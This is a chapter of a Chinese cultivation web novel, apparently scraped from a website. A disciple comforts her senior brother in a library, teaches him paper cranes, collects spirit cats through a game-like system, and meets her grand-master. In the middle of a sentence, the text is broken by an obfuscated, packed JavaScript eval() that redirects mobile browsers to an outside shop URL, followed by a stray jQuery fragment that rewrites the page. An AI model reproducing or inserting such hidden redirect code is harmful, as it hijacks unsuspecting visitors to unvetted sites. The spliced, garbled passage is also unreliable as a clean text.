林行路在藏书阁看书。

    藏书阁分为三层,由入门、中级到高级。

    所有弟子皆可在一楼挑选书籍阅览,二楼和三楼都需要一定的修为和贡献。但亲传弟子可以不受限制,来去自如。

    此刻的顶楼十分安静,只有林行路一个人。

    他坐在靠窗的位置,低头看着手里的书。只是半天都没有翻页。

    似乎在看书,又好像只是单纯地晒着太阳发呆。

    “哒、哒、哒。”

    熟悉的脚步声由远及近,林行路眼神微动,却没有抬头。

    花香混合着暖意靠近,来人坐在了他对面。

    谢春雪撑着下巴,瞅着那只神出鬼没的小黑猫。

    她想下手很久了,但小猫不给她机会。

    黑猫永远蹲在离她不远不近的位置,和主人如出一辙的幽绿色眼眸直直盯着她,但当她想要靠近的时候,又会马上远离。

    呵呵,以为这样就会让她知难而退吗?大错特错!她已看穿一切,这不过是小猫咪欲擒故纵的手段罢了!

    谢春雪不仅没有退缩,反而被激起了好胜心。

    这猫她摸定了!

    现在这只磨人的小妖精就蹲坐在她触手可及的地方,与她对视。

    见林行路好似看入迷了,她悄咪咪伸出了罪恶之手。

    林行路抬头了。

    “师妹?”他看着谢春雪伸出的手,脸上带着恰到好处的疑惑。

    谢春雪眨眼,自然地继续自己动作,捏上了师兄的脸。

    黑猫的竖瞳变圆了,林行路呆住了。

    女孩若无其事地收回手,“师兄,你为什么不开心?”

    林行路嘴角下意识勾起一抹笑,好奇道:“师妹何出此言?”

    她歪头,“你今天扎的是马尾。”

    林行路没想那么多,只说:“师傅同大师兄都是扎的马尾。”

    言外之意就是,这和他开不开心没什么关系吧。

    马尾并不奇怪。华峥就是高马尾,徐舟来也是高马尾。她自己图省事,也会扎马尾,高低随心情。

    但林行路不一样。

    她老早就发现了,二师兄有那啥包袱,基本不扎马尾,而是以束发为主。偶尔心情好,还会戴发冠,挑选配套的服饰。妥妥精致男孩一枚。

    但今天,林行路居然只是扎了马尾,发带和衣服还不是同色系!绝对有问题。

    谢春雪细细解释了,在林行路愣神的功夫,又伸手把他的书掉了个。

    他的书拿反了。

    林行路兀地笑了。

    “师妹,有没有人说过,你很可怕?”

    谢春雪惊奇地看他,“强得可怕吗?我还是第一次得到这个评价。”

    第一个吗。

    林行路合上书,“你怎么知道我在这?”

    “别闹了师兄。你平常闲下来的时候,除了在后院练剑和藏书阁看书外,还会去哪?”

    和固定NPC一样,就俩刷新地,她想不知道都难。

    “谢谢师兄啦。”她接着道。

    林行路抬眼,“谢我什么?”

    “桌上的茶水,是你为我沏的吧。”谢春雪晃着腿,“师傅只喝酒,大师兄不讲究,通常喝白水,只有你会煮茶。不过你喜欢清茶,但桌上那壶,泡的是我喜欢的花茶。”

    她说对了。

    上午和大师伯对练完后,徐舟来和林行路也是精疲力尽,他沏茶喝的时候,想起了谢春雪。

    中午离开之前,他鬼使神差地沏了一壶花茶。他本以为,没有人会在意这茶是谁泡的。就像没有人会特地在意他一样。

    但谢春雪注意到了,她甚至不止注意到这一点。

    林行路霎时感觉自己被什么击中了,他无言以对,半晌后,扶额闷笑起来。

    不等谢春雪反应,一向高冷的黑猫忽而轻盈地跃进她怀中,尾巴轻轻扫过她的手背。

    系统发出播报:“黑猫已收录,洞察力提升20%。”

    “师妹。”林行路笑着唤她,那双绿色的眼睛犹如雨后的森林,“请继续这样看着我吧。”

    好奇怪的话。

    谢春雪理所当然地回答:“我当然会一直看着你啦。”

    有谁能忍住不去看一只油光水滑的小黑猫呢?反正她做不到。

    系统:你……他……我……唉……

    人类的情感果然还是太复杂了,系统瞥了一眼后台的好感度,默默认同了林行路的评价。

    “师兄,给我一页纸。”谢春雪伸手讨要。

    林行路没问为什么,将随身携带的笔记撕了一页递给她。

    谢春雪接过来折折叠叠,成功折出一只千纸鹤。

    她瞅了林行路一眼,对着千纸鹤施了文渊今天刚教她的传音术,小声叽咕了几句。

    在林行路好奇的目光下,千纸鹤摇摇摆摆地飞了起来,撞进他的怀中。

    黑猫目不转睛地盯着,看上去非常感兴趣。

    他捏起这只纸做的小玩意,放到耳边。女孩压低的声音传了出来。

    “师兄,你会折小鸟吗?”

    林行路诚实地摇头。

    谢春雪见状笑了,理直气壮地伸手,“再撕两张,我教你。”

    两人头碰头地开始折千纸鹤,谢春雪教一步就停一下,确保师兄能跟上。

    林行路很快就学会了,折出的千纸鹤和她一模一样。

    “学得很快嘛,看来我很有当老师的天赋。”谢春雪很满意。

    林行路摆弄了一下自己的成品,状若无意道:“大师兄学得有我快吗?”

    “不知道,我还没教过大师兄呢。”谢春雪摆手。

    林行路嘴角上扬,转而又压平,“师妹为何要用这个传音?比用传讯法术麻烦些。”

    “想模仿青鸟传信。”谢春雪用灵力操控纸鹤飞来飞去,“而且很特别,不是吗?只要看到这个小家伙,就知道是我的传讯了。”

    他点点头,“以后我也用它给师妹传音。”

    “好呀。”谢春雪一口应下,但并没放在心上。

    她就是想借着做手工转移林行路的注意力,让他开心一点罢了。压根不在乎他会不会用纸鹤给自己传讯。

    毕竟这东西叠起来没那么简单,真遇到需要传音的事了,说不定她自己都懒得折。

    两人说说笑笑,很快就到了傍晚,林行路将她送到了岁流光的院子里才走。

    谢春雪和他道了再见,终于找到机会询问师伯那个盘桓在她心底一整天的问题。

    “师伯,你今天在忙什么?”

    岁流光捏了捏她的小脸蛋,“你大师伯要留下长住了,师伯忙着帮她张罗呢。”

    原来如此,谢春雪理解了。她安心睡去,没有察觉到岁流光在她睡着后流露出的伤感之情。

    平淡的日子如流水淌过。她上午跟着文渊老师修文,下午在大师伯和师尊的指导下修炼习剑。

    除了生活里多了一个大师伯关爱外,最明显的变化就是,二师兄变得和大师兄一样粘人起来了。

    粘人属性还能传染?她只疑惑了一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683835|207761||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    小会儿就抛之脑后了。

    华峥的黑足猫也被谢春雪收录了,喜提20%的敏捷。

    因为师尊的修为高深,神魂强大,她只敢碰了碰小家伙的尾巴尖,免得被师傅察觉不对。

    大师伯荣霖的小动物也显现出来了,是只狸花猫。

    怪不得大师伯之前喜欢在外面到处跑呢,那就不奇怪了。谢春雪暗自点头。

    不过系统表示荣霖并非特殊人物,狸花猫不予收录,她也就只是看个新鲜。

    所以师门七个人,两只狗三只猫。她摸了摸下巴,“不知道师祖是什么动物,难道是老虎?”

    猫科动物也是猫!

    系统:“还以为你会猜熊猫。”

    谢春雪躺在屋顶,若有所思:“也不是没可能啊。”

    三千年一遇的天才,怎么不算修仙界的大熊猫呢。

    琢磨了会儿,她突然反应过来,“我怎么没有精神体?”

    “你终于意识到这一点了。”系统欣慰。

    谢春雪坐起来,在脑海里大叫:“还我精神体!”

    “此功能需图鉴升级解锁,请宿主努力收集动物。”系统无情道。

    谢春雪又躺下了。

    “至少到开光期才能出门历练呢,我才到明道期。”

    是的,短短十年时光,谢春雪已经成功筑基,突破明道了。这修炼速度放外面去能气死一大批人。

    今日休沐,少女躺在师尊屋顶闭着眼晒太阳,在心里和系统唠嗑,看上去好不悠闲。

    一片阴影投下,有人挡住了她的太阳。

    谢春雪没睁眼,在心里和系统猜是谁。

    排除两位师兄,她现在修为比两人高,不会察觉不到他们靠近。

    大师伯和二师伯只会在下面喊她,不会跳上来和她开玩笑。

    果然,只能是华峥了。

    她往旁边挪了挪,懒洋洋道:“师尊,你也来偷得浮生半日闲啊?”

    清脆的笑声响起,和脑海里系统的笑声形成双重混响。

    不对!

    谢春雪猛地睁开眼,对上苍星恒饶有兴致的金眸。

    “不愧是花花带出来的徒弟,实在是像。”

    谢春雪赶紧站起来行礼,“让师祖见笑了。”

    “嘿,多大点事呀。在自己家放松点也正常。”苍星恒毫不在意,抬手比了比身高。

    “长得挺快嘛,上次见你还没我腿高呢。”

    “都是师尊和师伯们养得好。”谢春雪老实道。

    她筑基后才辟谷,师伯她们还会隔三差五投喂她富含灵气的点心饭菜,她现在的身高都快和师兄们齐头并进了。

    “师尊,你们怎么在我房顶上聊天啊?”华峥察觉到威压,紧赶慢赶找过来了,后面跟了一串人。

    “看到了就聊两句。你们搞这么大的阵仗干嘛?”

    苍星恒带着谢春雪落了地,荣霖先上前了,“师尊。”

    “嗯。走吧,今晚都去我那吃饭。”她上下打量了几眼荣霖,“待得挺开心?”

    “是,多谢您当时的开导。”荣霖恭敬道。

    苍星恒哼了一声,“徒弟都是债。”

    这是在说什么啊?别说跟在后面的谢春雪和徐舟来他们了,连前面的岁流光和华峥都是一头雾水。

    但苍星恒和荣霖都没有要解释的意思,几人只能将疑惑埋在心底。

    岁流光去叫人准备饭菜了,剩下的人一同到了苍星恒的住处。

    谢春雪他们三个还是第一次来师祖住的地方,稀奇得很。